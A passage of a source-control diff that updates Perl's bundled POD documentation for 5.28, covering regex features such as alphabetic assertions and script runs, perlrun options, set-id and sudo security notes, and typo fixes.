 class.  If you want to match a literal left square bracket, you must
 escape it, like C<"\[">.  The matching C<"]"> is also a metacharacter;
@@ -206,16 +206,16 @@
 The list of characters within the character class gives the set of
 characters matched by the class.  C<"[abc]"> matches a single "a" or "b"
 or "c".  But if the first character after the C<"["> is C<"^">, the
-class matches any character not in the list.  Within a list, the C<"-">
-character specifies a range of characters, so that C<a-z> represents all
-characters between "a" and "z", inclusive.  If you want either C<"-"> or
-C<"]"> itself to be a member of a class, put it at the start of the list
-(possibly after a C<"^">), or escape it with a backslash.  C<"-"> is
-also taken literally when it is at the end of the list, just before the
-closing C<"]">.  (The following all specify the same class of three
-characters: C<[-az]>, C<[az-]>, and C<[a\-z]>.  All are different from
-C<[a-z]>, which specifies a class containing twenty-six characters, even
-on EBCDIC-based character sets.)
+class instead matches any character not in the list.  Within a list, the
+C<"-"> character specifies a range of characters, so that C<a-z>
+represents all characters between "a" and "z", inclusive.  If you want
+either C<"-"> or C<"]"> itself to be a member of a class, put it at the
+start of the list (possibly after a C<"^">), or escape it with a
+backslash.  C<"-"> is also taken literally when it is at the end of the
+list, just before the closing C<"]">.  (The following all specify the
+same class of three characters: C<[-az]>, C<[az-]>, and C<[a\-z]>.  All
+are different from C<[a-z]>, which specifies a class containing
+twenty-six characters, even on EBCDIC-based character sets.)
 
 There is lots more to bracketed character classes; full details are in
 L<perlrecharclass/Bracketed Character Classes>.
@@ -268,6 +268,7 @@
        sequence
  }   End sequence started by {
  -   Indicates a range                            Only in [] interior
+ #   Beginning of comment, extends to line end    Only with /x modifier
 
 Notice that most of the metacharacters lose their special meaning when
 they occur in a bracketed character class, except C<"^"> has a different
@@ -505,7 +506,7 @@
 space interpretation within a single multi-character construct.  For
 example in C<\x{...}>, regardless of the C</x> modifier, there can be no
 spaces.  Same for a L<quantifier|/Quantifiers> such as C<{3}> or
-C<{5,}>.  Similarly, C<(?:...)> can't have a space between the C<"{">,
+C<{5,}>.  Similarly, C<(?:...)> can't have a space between the C<"(">,
 C<"?">, and C<":">.  Within any delimiters for such a
 construct, allowed spaces are not affected by C</x>, and depend on the
 construct.  For example, C<\x{...}> can't have spaces because hexadecimal
@@ -705,6 +706,10 @@
 
 the pattern uses L</C<(?[ ])>>
 
+=item 8
+
+the pattern uses L<C<(*script_run: ...)>|/Script Runs>
+
 =back
 
 Another mnemonic for this modifier is "Depends", as the rules actually
@@ -1355,6 +1360,10 @@
  # for the  closing ')' to match
  qr/\(?#the backslash means this isn't a comment)p{Any}/
 
+ # Comments can be used to fold long patterns into multiple lines
+ qr/First part of a long regex(?#
+   )remaining part/
+
 =item C<(?adlupimnsx-imnsx)>
 
 =item C<(?^alupimnsx)>
@@ -1561,14 +1570,31 @@
 =over 4
 
 =item C<(?=pattern)>
-X<(?=)> X<look-ahead, positive> X<lookahead, positive>
 
+=item C<(*pla:pattern)>
+
+=item C<(*positive_lookahead:pattern)>
+X<(?=)>
+X<(*pla>
+X<(*positive_lookahead>
+X<look-ahead, positive> X<lookahead, positive>
+
 A zero-width positive lookahead assertion.  For example, C</\w+(?=\t)/>
 matches a word followed by a tab, without including the tab in C<$&>.
 
+The alphabetic forms are experimental; using them yields a warning in the
+C<experimental::alpha_assertions> category.
+
 =item C<(?!pattern)>
-X<(?!)> X<look-ahead, negative> X<lookahead, negative>
 
+=item C<(*nla:pattern)>
+
+=item C<(*negative_lookahead:pattern)>
+X<(?!)>
+X<(*nla>
+X<(*negative_lookahead>
+X<look-ahead, negative> X<lookahead, negative>
+
 A zero-width negative lookahead assertion.  For example C</foo(?!bar)/>
 matches any occurrence of "foo" that isn't followed by "bar".  Note
 however that lookahead and lookbehind are NOT the same thing.  You cannot
@@ -1579,11 +1605,21 @@
 the next thing cannot be "foo"--and it's not, it's a "bar", so "foobar" will
 match.  Use lookbehind instead (see below).
 
+The alphabetic forms are experimental; using them yields a warning in the
+C<experimental::alpha_assertions> category.
+
 =item C<(?<=pattern)>
 
 =item C<\K>
-X<(?<=)> X<look-behind, positive> X<lookbehind, positive> X<\K>
 
+=item C<(*plb:pattern)>
+
+=item C<(*positive_lookbehind:pattern)>
+X<(?<=)>
+X<(*plb>
+X<(*positive_lookbehind>
+X<look-behind, positive> X<lookbehind, positive> X<\K>
+
 A zero-width positive lookbehind assertion.  For example, C</(?<=\t)\w+/>
 matches a word that follows a tab, without including the tab in C<$&>.
 Works only for fixed-width lookbehind.
@@ -1606,13 +1642,26 @@
 
   s/foo\Kbar//g;
 
+The alphabetic forms (not including C<\K> are experimental; using them
+yields a warning in the C<experimental::alpha_assertions> category.
+
 =item C<(?<!pattern)>
-X<(?<!)> X<look-behind, negative> X<lookbehind, negative>
 
+=item C<(*nlb:pattern)>
+
+=item C<(*negative_lookbehind:pattern)>
+X<(?<!)>
+X<(*nlb>
+X<(*negative_lookbehind>
+X<look-behind, negative> X<lookbehind, negative>
+
 A zero-width negative lookbehind assertion.  For example C</(?<!bar)foo/>
 matches any occurrence of "foo" that does not follow "bar".  Works
 only for fixed-width lookbehind.
 
+The alphabetic forms are experimental; using them yields a warning in the
+C<experimental::alpha_assertions> category.
+
 =back
 
 =item C<< (?<NAME>pattern) >>
@@ -1627,7 +1676,7 @@
 after a successful match via C<%+> or C<%->. See L<perlvar>
 for more details on the C<%+> and C<%-> hashes.
 
-If multiple distinct capture groups have the same name then the
+If multiple distinct capture groups have the same name, then
 C<$+{NAME}> will refer to the leftmost defined group in the match.
 
 The forms C<(?'NAME'pattern)> and C<< (?<NAME>pattern) >> are equivalent.
@@ -2087,6 +2136,10 @@
 interpolate them in another pattern.
 
 =item C<< (?>pattern) >>
+
+=item C<< (*atomic:pattern) >>
+X<(?E<gt>pattern)>
+X<(*atomic>
 X<backtrack> X<backtracking> X<atomic> X<possessive>
 
 An "independent" subexpression, one which matches the substring
@@ -2195,6 +2248,21 @@
     PAT?+               (?>PAT?)
     PAT{min,max}+       (?>PAT{min,max})
 
+Nested C<(?E<gt>...)> constructs are not no-ops, even if at first glance
+they might seem to be.  This is because the nested C<(?E<gt>...)> can
+restrict internal backtracking that otherwise might occur.  For example,
+
+ "abc" =~ /(?>a[bc]*c)/
+
+matches, but
+
+ "abc" =~ /(?>a(?>[bc]*)c)/
+
+does not.
+
+The alphabetic form (C<(*atomic:...)>) is experimental; using it
+yields a warning in the C<experimental::alpha_assertions> category.
+
 =item C<(?[ ])>
 
 See L<perlrecharclass/Extended Bracketed Character Classes>.
@@ -2411,6 +2479,102 @@
 where side-effects of lookahead I<might> have influenced the
 following match, see L</C<< (?>pattern) >>>.
 
+=head2 Script Runs
+X<(*script_run:...)> X<(sr:...)>
+X<(*atomic_script_run:...)> X<(asr:...)>
+
+A script run is basically a sequence of characters, all from the same
+Unicode script (see L<perlunicode/Scripts>), such as Latin or Greek.  In
+most places a single word would never be written in multiple scripts,
+unless it is a spoofing attack.  An infamous example, is
+
+ paypal.com
+
+Those letters could all be Latin (as in the example just above), or they
+could be all Cyrillic (except for the dot), or they could be a mixture
+of the two.  In the case of an internet address the C<.com> would be in
+Latin, And any Cyrillic ones would cause it to be a mixture, not a
+script run.  Someone clicking on such a link would not be directed to
+the real Paypal website, but an attacker would craft a look-alike one to
+attempt to gather sensitive information from the person.
+
+Starting in Perl 5.28, it is now easy to detect strings that aren't
+script runs.  Simply enclose just about any pattern like either of
+these:
+
+ (*script_run:pattern)
+ (*sr:pattern)
+
+What happens is that after I<pattern> succeeds in matching, it is
+subjected to the additional criterion that every character in it must be
+from the same script (see exceptions below).  If this isn't true,
+backtracking occurs until something all in the same script is found that
+matches, or all possibilities are exhausted.  This can cause a lot of
+backtracking, but generally, only malicious input will result in this,
+though the slow down could cause a denial of service attack.  If your
+needs permit, it is best to make the pattern atomic.  This is so likely
+to be what you want, that instead of writing this:
+
+ (*script_run:(?>pattern))
+
+you can write either of these:
+
+ (*atomic_script_run:pattern)
+ (*asr:pattern)
+
+(See L</C<(?E<gt>pattern)>>.)
+
+In Taiwan, Japan, and Korea, it is common for text to have a mixture of
+characters from their native scripts and base Chinese.  Perl follows
+Unicode's UTS 39 (L<http://unicode.org/reports/tr39/>) Unicode Security
+Mechanisms in allowing such mixtures.
+
+The rules used for matching decimal digits are somewhat different.  Many
+scripts have their own sets of digits equivalent to the Western C<0>
+through C<9> ones.  A few, such as Arabic, have more than one set.  For
+a string to be considered a script run, all digits in it must come from
+the same set, as determined by the first digit encountered. The ASCII
+C<[0-9]> are accepted as being in any script, even those that have their
+own set.  This is because these are often used in commerce even in such
+scripts.  But any mixing of the ASCII and other digits will cause the
+sequence to not be a script run, failing the match.  As an example,
+
+ qr/(*script_run: \d+ \b )/x
+
+guarantees that the digits matched will all be from the same set of 10.
+You won't get a look-alike digit from a different script that has a
+different value than what it appears to be.
+
+Unicode has three pseudo scripts that are handled specially.
+
+"Unknown" is applied to code points whose meaning has yet to be
+determined.  Perl currently will match as a script run, any single
+character string consisting of one of these code points.  But any string
+longer than one code point containing one of these will not be
+considered a script run.
+
+"Inherited" is applied to characters that modify another, such as an
+accent of some type.  These are considered to be in the script of the
+master character, and so never cause a script run to not match.
+
+The other one is "Common".  This consists of mostly punctuation, emoji,
+and characters used in mathematics and music, and the ASCII digits C<0>
+through C<9>.  These characters can appear intermixed in text in many of
+the world's scripts.  These also don't cause a script run to not match,
+except any ASCII digits encountered have to obey the decimal digit rules
+described above.
+
+This construct is non-capturing.  You can add parentheses to I<pattern>
+to capture, if desired.  You will have to do this if you plan to use
+L</(*ACCEPT) (*ACCEPT:arg)> and not have it bypass the script run
+checking.
+
+This feature is experimental, and the exact syntax and details of
+operation are subject to change; using it yields a warning in the
+C<experimental::script_run> category.
+
+The C<Script_Extensions> property is used as the basis for this feature.
+
 =head2 Special Backtracking Control Verbs
 
 These special patterns are generally of the form C<(*I<VERB>:I<ARG>)>. Unless

Modified: vendor/perl/dist/pod/perlreapi.pod
===================================================================
--- vendor/perl/dist/pod/perlreapi.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perlreapi.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -624,7 +624,6 @@
          * matching*/
         U32 lastparen;            /* highest close paren matched ($+) */
         U32 lastcloseparen;       /* last close paren matched ($^N) */
-        regexp_paren_pair *swap;  /* Swap copy of *offs */
         regexp_paren_pair *offs;  /* Array of offsets for (@-) and
                                      (@+) */
 
@@ -727,10 +726,6 @@
 C<regexp_internal> structure (see L<perlreguts/Base Structures>) but a custom
 engine should use something else.
 
-=head2 C<swap>
-
-Unused.  Left in for compatibility with Perl 5.10.0.
-
 =head2 C<offs>
 
 A C<regexp_paren_pair> structure which defines offsets into the string being

Modified: vendor/perl/dist/pod/perlrebackslash.pod
===================================================================
--- vendor/perl/dist/pod/perlrebackslash.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perlrebackslash.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -596,7 +596,7 @@
 word-processors which wrap lines
 automatically for display, but hard-coded line boundaries are considered
 to be essentially the ends of text blocks (paragraphs really), and hence
-the ends of sententces.  C<\b{sb}> doesn't do well with text containing
+the ends of sentences.  C<\b{sb}> doesn't do well with text containing
 embedded newlines, like the source text of the document you are reading.
 Such text needs to be preprocessed to get rid of the line separators
 before looking for sentence boundaries.  Some people view this as a bug
@@ -622,7 +622,7 @@
 If the final space character in the span is a horizontal white space, it
 is broken out so that it attaches instead to the combining character.
 To be precise, if a span of white space that ends in a horizontal space
-has the character immediately following it have either of the Word
+has the character immediately following it have any of the Word
 Boundary property values "Extend", "Format" or "ZWJ", the boundary between the
 final horizontal space character and the rest of the span matches
 C<\b{wb}>.  In all other cases the boundary between two white space
@@ -650,8 +650,8 @@
 It is also important to realize that these are default boundary
 definitions, and that implementations may wish to tailor the results for
 particular purposes and locales.  For example, some languages, such as
-Japanese and Thai, require dictionary lookup to determine word
-boundaries.
+Japanese and Thai, require dictionary lookup to accurately determine
+word boundaries.
 
 Mnemonic: I<b>oundary.
 

Modified: vendor/perl/dist/pod/perlrecharclass.pod
===================================================================
--- vendor/perl/dist/pod/perlrecharclass.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perlrecharclass.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -641,7 +641,7 @@
              #  even on an EBCDIC platform.
  [\N{U+27}-\N{U+3F}] # Same. (U+27 is "'", and U+3F is "?")
 
-As the final two examples above show, you can achieve portablity to
+As the final two examples above show, you can achieve portability to
 non-ASCII platforms by using the C<\N{...}> form for the range
 endpoints.  These indicate that the specified range is to be interpreted
 using Unicode values, so C<[\N{U+27}-\N{U+3F}]> means to match
@@ -1128,8 +1128,8 @@
 Any contained POSIX character classes, including things like C<\w> and C<\D>
 respect the C<E<sol>a> (and C<E<sol>aa>) modifiers.
 
-C<< (?[ ]) >> is a regex-compile-time construct.  Any attempt to use
-something which isn't knowable at the time the containing regular
+Note that C<< (?[ ]) >> is a regex-compile-time construct.  Any attempt
+to use something which isn't knowable at the time the containing regular
 expression is compiled is a fatal error.  In practice, this means
 just three limitations:
 

Modified: vendor/perl/dist/pod/perlref.pod
===================================================================
--- vendor/perl/dist/pod/perlref.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perlref.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -868,7 +868,7 @@
 around a hash are forbidden (because it is not clear what they should do):
 
     \local(@array) = foo(); # WRONG
-    \(%hash)       = bar(); # wRONG
+    \(%hash)       = bar(); # WRONG
 
 Assignment to references and non-references may be combined in lists and
 conditional ternary expressions, as long as the values on the right-hand

Modified: vendor/perl/dist/pod/perlreftut.pod
===================================================================
--- vendor/perl/dist/pod/perlreftut.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perlreftut.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -63,14 +63,15 @@
 
 A reference is a scalar value that I<refers to> an entire array or an
 entire hash (or to just about anything else).  Names are one kind of
-reference that you're already familiar with.  Think of the President
-of the United States: a messy, inconvenient bag of blood and bones.
-But to talk about him, or to represent him in a computer program, all
-you need is the easy, convenient scalar string "Barack Obama".
+reference that you're already familiar with.  Each human being is a
+messy, inconvenient collection of cells. But to refer to a particular
+human, for instance the first computer programmer, it isn't necessary to
+describe each of their cells; all you need is the easy, convenient
+scalar string "Ada Lovelace".
 
 References in Perl are like names for arrays and hashes.  They're
 Perl's private, internal names, so you can be sure they're
-unambiguous.  Unlike "Barack Obama", a reference only refers to one
+unambiguous.  Unlike a human name, a reference only refers to one
 thing, and you always know what it refers to.  If you have a reference
 to an array, you can recover the entire array from it.  If you have a
 reference to a hash, you can recover the entire hash.  But the

Modified: vendor/perl/dist/pod/perlrequick.pod
===================================================================
--- vendor/perl/dist/pod/perlrequick.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perlrequick.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -67,12 +67,13 @@
     "That hat is red" =~ /hat/; # matches 'hat' in 'That'
 
 Not all characters can be used 'as is' in a match.  Some characters,
-called B<metacharacters>, are reserved for use in regex notation.
-The metacharacters are
+called B<metacharacters>, are considered special, and reserved for use
+in regex notation.  The metacharacters are
 
     {}[]()^$.|*+?\
 
-A metacharacter can be matched by putting a backslash before it:
+A metacharacter can be matched literally by putting a backslash before
+it:
 
     "2+2=4" =~ /2+2/;    # doesn't match, + is a metacharacter
     "2+2=4" =~ /2\+2/;   # matches, \+ is treated like an ordinary +
@@ -82,6 +83,12 @@
 In the last regex, the forward slash C<'/'> is also backslashed,
 because it is used to delimit the regex.
 
+Most of the metacharacters aren't always special, and other characters
+(such as the ones delimitting the pattern) become special under various
+circumstances.  This can be confusing and lead to unexpected results.
+L<S<C<use re 'strict'>>|re/'strict' mode> can notify you of potential
+pitfalls.
+
 Non-printable ASCII characters are represented by B<escape sequences>.
 Common examples are C<\t> for a tab, C<\n> for a newline, and C<\r>
 for a carriage return.  Arbitrary bytes are represented by octal
@@ -89,7 +96,7 @@
 e.g., C<\x1B>:
 
     "1000\t2000" =~ m(0\t2)  # matches
-    "cat" =~ /\143\x61\x74/  # matches in ASCII, but 
+    "cat" =~ /\143\x61\x74/  # matches in ASCII, but
                              # a weird way to spell cat
 
 Regexes are treated mostly as double-quoted strings, so variable
@@ -116,8 +123,13 @@
 
 A B<character class> allows a set of possible characters, rather than
 just a single character, to match at a particular point in a regex.
-Character classes are denoted by brackets C<[...]>, with the set of
-characters to be possibly matched inside.  Here are some examples:
+There are a number of different types of character classes, but usually
+when people use this term, they are referring to the type described in
+this section, which are technically called "Bracketed character
+classes", because they are denoted by brackets C<[...]>, with the set of
+characters to be possibly matched inside.  But we'll drop the "bracketed"
+below to correspond with common usage.  Here are some examples of
+(bracketed) character classes:
 
     /cat/;            # matches 'cat'
     /[bcr]at/;        # matches 'bat', 'cat', or 'rat'

Modified: vendor/perl/dist/pod/perlreref.pod
===================================================================
--- vendor/perl/dist/pod/perlreref.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perlreref.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -135,7 +135,7 @@
    \W      A non-word character
    \s      A whitespace character
    \S      A non-whitespace character
-   \h      An horizontal whitespace
+   \h      A horizontal whitespace
    \H      A non horizontal whitespace
    \N      A non newline (when not followed by '{NAME}';;
            not valid in a character class; equivalent to [^\n]; it's
@@ -234,10 +234,15 @@
    (?:...)           Groups subexpressions without capturing (cluster)
    (?pimsx-imsx:...) Enable/disable option (as per m// modifiers)
    (?=...)           Zero-width positive lookahead assertion
+   (?*pla:...)       Same; avail experimentally starting in 5.28
    (?!...)           Zero-width negative lookahead assertion
+   (?*nla:...)       Same; avail experimentally starting in 5.28
    (?<=...)          Zero-width positive lookbehind assertion
+   (?*plb:...)       Same; avail experimentally starting in 5.28
    (?<!...)          Zero-width negative lookbehind assertion
+   (?*nlb:...)       Same; avail experimentally starting in 5.28
    (?>...)           Grab what we can, prohibit backtracking
+   (?*atomic:...)    Same; avail experimentally starting in 5.28
    (?|...)           Branch reset
    (?<name>...)      Named capture
    (?'name'...)      Named capture

Modified: vendor/perl/dist/pod/perlretut.pod
===================================================================
--- vendor/perl/dist/pod/perlretut.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perlretut.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -170,11 +170,17 @@
 
 With respect to character matching, there are a few more points you
 need to know about.   First of all, not all characters can be used "as
-is" in a match.  Some characters, called I<metacharacters>, are reserved
-for use in regexp notation.  The metacharacters are
+is" in a match.  Some characters, called I<metacharacters>, are
+generally reserved for use in regexp notation.  The metacharacters are
 
-    {}[]()^$.|*+?-\
+    {}[]()^$.|*+?-#\
 
+This list is not as definitive as it may appear (or be claimed to be in
+other documentation).  For example, C<"#"> is a metacharacter only when
+the C</x> pattern modifier (described below) is used, and both C<"}">
+and C<"]"> are metacharacters only when paired with opening C<"{"> or
+C<"["> respectively; other gotchas apply.
+
 The significance of each of these will be explained
 in the rest of the tutorial, but for now, it is important only to know
 that a metacharacter can be matched as-is by putting a backslash before
@@ -874,7 +880,7 @@
     $fmt1 = '(?<y>\d\d\d\d)-(?<m>\d\d)-(?<d>\d\d)';
     $fmt2 = '(?<m>\d\d)/(?<d>\d\d)/(?<y>\d\d\d\d)';
     $fmt3 = '(?<d>\d\d)\.(?<m>\d\d)\.(?<y>\d\d\d\d)';
-    for my $d qw( 2006-10-21 15.01.2007 10/31/2005 ){
+    for my $d (qw(2006-10-21 15.01.2007 10/31/2005)) {
         if ( $d =~ m{$fmt1|$fmt2|$fmt3} ){
             print "day=$+{d} month=$+{m} year=$+{y}\n";
         }
@@ -2355,7 +2361,19 @@
                   | (?<=-)  (?=\S)   # a '-' followed by any non-space
                   /x, $str;          # @toks = qw(one two - - - 6 - 8)
 
+Starting in Perl 5.28, experimentally, alphabetic equivalents to these
+assertions are added, so you can use whichever is most memorable for
+your tastes.
 
+ (?=...)        (*pla:...) or (*positive_lookahead:...)
+ (?!...)        (*nla:...) or (*negative_lookahead:...)
+ (?<=...)       (*plb:...) or (*positive_lookbehind:...)
+ (?<!...)       (*nlb:...) or (*negative_lookbehind:...)
+ (?>...)        (*atomic:...)
+
+Using any of these will raise (unless turned off) a warning in the
+C<experimental::alpha_assertions> category.
+
 =head2 Using independent subexpressions to prevent backtracking
 
 I<Independent subexpressions> are regular expressions, in the

Modified: vendor/perl/dist/pod/perlrun.pod
===================================================================
--- vendor/perl/dist/pod/perlrun.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perlrun.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -406,7 +406,6 @@
       2048  u  Tainting checks
       4096  U  Unofficial, User hacking (reserved for private,
                unreleased use)
-      8192  H  Hash dump -- usurps values()
      16384  X  Scratchpad allocation
      32768  D  Cleaning up
      65536  S  Op slab allocation
@@ -664,14 +663,19 @@
 =item B<-[mM]>[B<->]I<module=arg[,arg]...>
 
 B<-m>I<module> executes C<use> I<module> C<();> before executing your
-program.
+program.  This loads the module, but does not call its C<import> method,
+so does not import subroutines and does not give effect to a pragma.
 
 B<-M>I<module> executes C<use> I<module> C<;> before executing your
-program.  You can use quotes to add extra code after the module name,
+program.  This loads the module and calls its C<import> method, causing
+the module to have its default effect, typically importing subroutines
+or giving effect to a pragma.
+You can use quotes to add extra code after the module name,
 e.g., C<'-MI<MODULE> qw(foo bar)'>.
 
 If the first character after the B<-M> or B<-m> is a dash (B<->)
 then the 'use' is replaced with 'no'.
+This makes no difference for B<-m>.
 
 A little builtin syntactic sugar means you can also say
 B<-mI<MODULE>=foo,bar> or B<-MI<MODULE>=foo,bar> as a shortcut for
@@ -681,7 +685,8 @@
 removes the distinction between B<-m> and B<-M>; that is,
 B<-mI<MODULE>=foo,bar> is the same as B<-MI<MODULE>=foo,bar>.
 
-A consequence of this is that B<-MI<MODULE>=number> never does a version check,
+A consequence of the C<split> formulation
+is that B<-MI<MODULE>=number> never does a version check,
 unless C<I<MODULE>::import()> itself is set up to do a version check, which
 could happen for example if I<MODULE> inherits from L<Exporter>.
 
@@ -995,9 +1000,9 @@
 =item PERL5LIB
 X<PERL5LIB>
 
-A list of directories in which to look for Perl library
-files before looking in the standard library and the current
-directory.  Any architecture-specific and version-specific directories,
+A list of directories in which to look for Perl library files before
+looking in the standard library.
+Any architecture-specific and version-specific directories,
 such as F<version/archname/>, F<version/>, or F<archname/> under the
 specified locations are automatically included if they exist, with this
 lookup done at interpreter startup time.  In addition, any directories
@@ -1178,7 +1183,7 @@
 X<PERLLIB>
 
 A list of directories in which to look for Perl library
-files before looking in the standard library and the current directory.
+files before looking in the standard library.
 If PERL5LIB is defined, PERLLIB is not used.
 
 The PERLLIB environment variable is completely ignored when Perl
@@ -1393,6 +1398,18 @@
 
 Used if chdir has no argument and HOME and LOGDIR are not set.
 
+=item PERL_INTERNAL_RAND_SEED
+X<PERL_INTERNAL_RAND_SEED>
+
+Set to a non-negative integer to seed the random number generator used
+internally by perl for a variety of purposes.
+
+Ignored if perl is run setuid or setgid.  Used only for some limited
+startup randomization (hash keys) if C<-T> or C<-t> perl is started
+with tainting enabled.
+
+Perl may be built to ignore this variable.
+
 =back
 
 Perl also has environment variables that control how Perl handles data

Modified: vendor/perl/dist/pod/perlsec.pod
===================================================================
--- vendor/perl/dist/pod/perlsec.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perlsec.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -370,7 +370,7 @@
 unpredictable ways.  In any case it's better avoided completely if you're
 really concerned about security.
 
-=head2 Security Bugs
+=head2 Shebang Race Condition
 
 Beyond the obvious problems that stem from giving special privileges to
 systems as flexible as scripts, on many versions of Unix, set-id scripts
@@ -380,14 +380,34 @@
 around and reopens the file to interpret it, the file in question may have
 changed, especially if you have symbolic links on your system.
 
-Fortunately, sometimes this kernel "feature" can be disabled.
-Unfortunately, there are two ways to disable it.  The system can simply
-outlaw scripts with any set-id bit set, which doesn't help much.
-Alternately, it can simply ignore the set-id bits on scripts.
+Some Unixes, especially more recent ones, are free of this
+inherent security bug.  On such systems, when the kernel passes the name
+of the set-id script to open to the interpreter, rather than using a
+pathname subject to meddling, it instead passes I</dev/fd/3>.  This is a
+special file already opened on the script, so that there can be no race
+condition for evil scripts to exploit.  On these systems, Perl should be
+compiled with C<-DSETUID_SCRIPTS_ARE_SECURE_NOW>.  The F<Configure>
+program that builds Perl tries to figure this out for itself, so you
+should never have to specify this yourself.  Most modern releases of
+SysVr4 and BSD 4.4 use this approach to avoid the kernel race condition.
 
-However, if the kernel set-id script feature isn't disabled, Perl will
-complain loudly that your set-id script is insecure.  You'll need to
-either disable the kernel set-id script feature, or put a C wrapper around
+If you don't have the safe version of set-id scripts, all is not lost.
+Sometimes this kernel "feature" can be disabled, so that the kernel
+either doesn't run set-id scripts with the set-id or doesn't run them
+at all.  Either way avoids the exploitability of the race condition,
+but doesn't help in actually running scripts set-id.
+
+If the kernel set-id script feature isn't disabled, then any set-id
+script provides an exploitable vulnerability.  Perl can't avoid being
+exploitable, but will point out vulnerable scripts where it can.  If Perl
+detects that it is being applied to a set-id script then it will complain
+loudly that your set-id script is insecure, and won't run it.  When Perl
+complains, you need to remove the set-id bit from the script to eliminate
+the vulnerability.  Refusing to run the script doesn't in itself close
+the vulnerability; it is just Perl's way of encouraging you to do this.
+
+To actually run a script set-id, if you don't have the safe version of
+set-id scripts, you'll need to put a C wrapper around
 the script.  A C wrapper is just a compiled program that does nothing
 except call your Perl program.   Compiled programs are not subject to the
 kernel bug that plagues set-id scripts.  Here's a simple wrapper, written
@@ -409,19 +429,12 @@
     }
 
 Compile this wrapper into a binary executable and then make I<it> rather
-than your script setuid or setgid.
+than your script setuid or setgid.  Note that this wrapper isn't doing
+anything to sanitise the execution environment other than ensuring
+that a safe path to the script is used.  It only avoids the shebang
+race condition.  It relies on Perl's own features, and on the script
+itself being careful, to make it safe enough to run the script set-id.
 
-In recent years, vendors have begun to supply systems free of this
-inherent security bug.  On such systems, when the kernel passes the name
-of the set-id script to open to the interpreter, rather than using a
-pathname subject to meddling, it instead passes I</dev/fd/3>.  This is a
-special file already opened on the script, so that there can be no race
-condition for evil scripts to exploit.  On these systems, Perl should be
-compiled with C<-DSETUID_SCRIPTS_ARE_SECURE_NOW>.  The F<Configure>
-program that builds Perl tries to figure this out for itself, so you
-should never have to specify this yourself.  Most modern releases of
-SysVr4 and BSD 4.4 use this approach to avoid the kernel race condition.
-
 =head2 Protecting Your Programs
 
 There are a number of ways to hide the source to your Perl programs,
@@ -574,7 +587,7 @@
 =item *
 
 Sorting - the quicksort algorithm used in Perls before 5.8.0 to
-implement the sort() function is very easy to trick into misbehaving
+implement the sort() function was very easy to trick into misbehaving
 so that it consumes a lot of time.  Starting from Perl 5.8.0 a different
 sorting algorithm, mergesort, is used by default.  Mergesort cannot
 misbehave on any input.
@@ -584,6 +597,28 @@
 See L<https://www.usenix.org/legacy/events/sec03/tech/full_papers/crosby/crosby.pdf> for more information,
 and any computer science textbook on algorithmic complexity.
 
+=head2 Using Sudo
+
+The popular tool C<sudo> provides a controlled way for users to be able
+to run programs as other users.  It sanitises the execution environment
+to some extent, and will avoid the L<shebang race condition|/"Shebang
+Race Condition">.  If you don't have the safe version of set-id scripts,
+then C<sudo> may be a more convenient way of executing a script as
+another user than writing a C wrapper would be.
+
+However, C<sudo> sets the real user or group ID to that of the target
+identity, not just the effective ID as set-id bits do.  As a result, Perl
+can't detect that it is running under C<sudo>, and so won't automatically
+take its own security precautions such as turning on taint mode.  Where
+C<sudo> configuration dictates exactly which command can be run, the
+approved command may include a C<-T> option to perl to enable taint mode.
+
+In general, it is necessary to evaluate the suitaility of a script to
+run under C<sudo> specifically with that kind of execution environment
+in mind.  It is neither necessary nor sufficient for the same script to
+be suitable to run in a traditional set-id arrangement, though many of
+the issues overlap.
+
 =head1 SEE ALSO
 
 L<perlrun> for its description of cleaning up environment variables.

Modified: vendor/perl/dist/pod/perlsub.pod
===================================================================
--- vendor/perl/dist/pod/perlsub.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pod/perlsub.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -15,21 +15,26 @@
 
     sub NAME BLOCK		  # A declaration and a definition.
     sub NAME(PROTO) BLOCK	  #  ditto, but with prototypes
-    sub NAME(SIG) BLOCK           #  with a signature instead
     sub NAME : ATTRS BLOCK	  #  with attributes
     sub NAME(PROTO) : ATTRS BLOCK #  with prototypes and attributes
-    sub NAME(SIG) : ATTRS BLOCK   #  with a signature and attributes
 
+    use feature 'signatures';
+    sub NAME(SIG) BLOCK                    # with signature
+    sub NAME :ATTRS (SIG) BLOCK            # with signature, attributes
+    sub NAME :prototype(PROTO) (SIG) BLOCK # with signature, prototype
+
 To define an anonymous subroutine at runtime:
 X<subroutine, anonymous>
 
     $subref = sub BLOCK;		 # no proto
     $subref = sub (PROTO) BLOCK;	 # with proto
-    $subref = sub (SIG) BLOCK;           # with signature
     $subref = sub : ATTRS BLOCK;	 # with attributes
     $subref = sub (PROTO) : ATTRS BLOCK; # with proto and attributes
-    $subref = sub (SIG) : ATTRS BLOCK;   # with signature and attributes
 
+    use feature 'signatures';
+    $subref = sub (SIG) BLOCK;           # with signature
+    $subref = sub : ATTRS(SIG) BLOCK;    # with signature, attributes
+
 To import subroutines:
 X<import>
 
@@ -317,10 +322,15 @@
 disabled.
 
 The signature is part of a subroutine's body.  Normally the body of a
-subroutine is simply a braced block of code.  When using a signature,
-the signature is a parenthesised list that goes immediately after
